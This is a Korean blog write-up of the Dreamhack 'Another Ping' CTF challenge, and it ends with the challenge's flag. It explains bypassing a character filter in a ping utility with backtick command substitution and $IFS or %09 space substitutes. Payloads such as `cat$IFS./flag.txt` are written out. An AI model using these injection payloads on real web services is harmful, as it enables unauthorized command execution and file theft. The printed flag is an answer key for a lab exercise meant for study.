본문 바로가기

Dreamhack

[Dreamhack] Another Ping

반응형

Descriptopn

What? Another, yet boring ping utility?


Write-Up

Step1) 문제 사이트를 확인해 봤을 때 ping 명령어가 실행되어 ping 테스트를 할 수 있는 사이트인 것을 볼 수 있다.

 

Step2) 해당 커맨드를 보고 생각난 것은 명령어 연결 연산자를 이용해서 여러개의 명령어를 한번에 입력하여 실행시켜서 공격이 가능한 커맨드 인젝션 공격이 생각났다. 예를 들어 명령어 연결 연산자(;, &&, |)를 이용하여 아래와 같이 명령어를 연결시켜 실행시키는 방법이다.

ping 8.8.8.8 | ls

 

Step3) 명령어 연결 연산자 사용이 가능한지 확인을 위해 입력해봤는데 에러가 발생하는 것을 확인했다.

 

Step4) 문제에서 제공한 문제 파일을 열어 app.py 코드를 확인했을 때 FILTERED_CHARS에 존재하는 특수문자들을 필터링하는 코드를 볼 수 있다.

 

Step5) 그렇다면  해당 특수문자를 이용하지 않고 우회하여 명령어를 실행시킬 수 있는 방법을 찾아봤다. 첫 번째로 명령 연결 연산자를 대신할 다른 연산자를 찾아야 한다. 그것이 백틱(`) 이었다. 

 

백틱(`)은 안의 명령어 치환 연산자로 안의 명령어를 실행한 결과를 문자열로 바꿔 넣는다.

echo "오늘은 `date` 입니다."
> 오늘은 Thu Oct 30 12:50:00 KST 2025 입니다.

 

이것과 같은 명령어 치환 연산자인 $()도 존재한다. 현재 괄호도 필터링 하고 있기 때문에 해당 연산자는 사용할 수 없었다.

 

Step6) 두 번째로 공백을 우회할 수 있는 방법을 찾아 봤다. 현재 상황에서는 아래 표 중 명령$IFS인자%09 이것만 가능한 상황이었다.

$IFS : 기본적으로 " \t\n"(공백, 탭, 뉴라인)을 나타낸다. 즉, $IFS가 공백(혹은 탭)으로 치환되어 명령어를 분리 할 수 있다.

{명령, 인자} > {cat, flag} 명령$IFS${}인자 명령${IFS}인자 명령$IFS인자
%09 > \t(탭) %0a > \n(줄바꿈) %0b > \v(수직탭) %0c >  \f(폼피드)
%0d > \r(캐리지 리턴) /**/ > 주석 () +

 

Step7) 이제 이를 이용하여 명령어가 실행 가능한지 확인을 해봤다. 먼저 백틱을 이용하여 ls 명령어를 입력했을때 실행되는 것을 볼 수 있다.

※ 백틱을 쓰게 되면 ping 명령어와 ls 명령어가 동시에 실행되는 것이 아닌, 백틱 내부의 명령어가 먼저 실행된다. 그래서 ls 명령어가 실행된 것이다.

ping -c 4 8.8.8.8%09`ls`

 

ping -c 4 8.8.8.8%09`ls$IFS`-t

 

Step8) 해당 위치에 존재하는 파일과 디렉토리가 /templates와 requirements.txt이 있는 것을 알 수 있었고 이는 현재 우리가 받은 문제 파일 폴더와 동일한 것을 볼 수 있으며, flag.txt 파일도 존재할 것이고 답은 해당 파일에 존재할 것이라는 것을 추측할 수 있다.

 

 

Step9) 성공적으로 아래 명령어들을 이용하여 FLAG 값을 얻을 수 있다.

`cat$IFS./flag.txt`
`cat%09./flag.txt`
%09`cat$IFS./flag.txt`
%09`cat%09./flag.txt`

FLAG

DH{c64c86a3e2121098:3Cv3IfdPGj1l/ps57jHJ7w==}

 

 

반응형

'Dreamhack' 카테고리의 다른 글

[Dreamhack] pybycodets  (0) 2025.07.03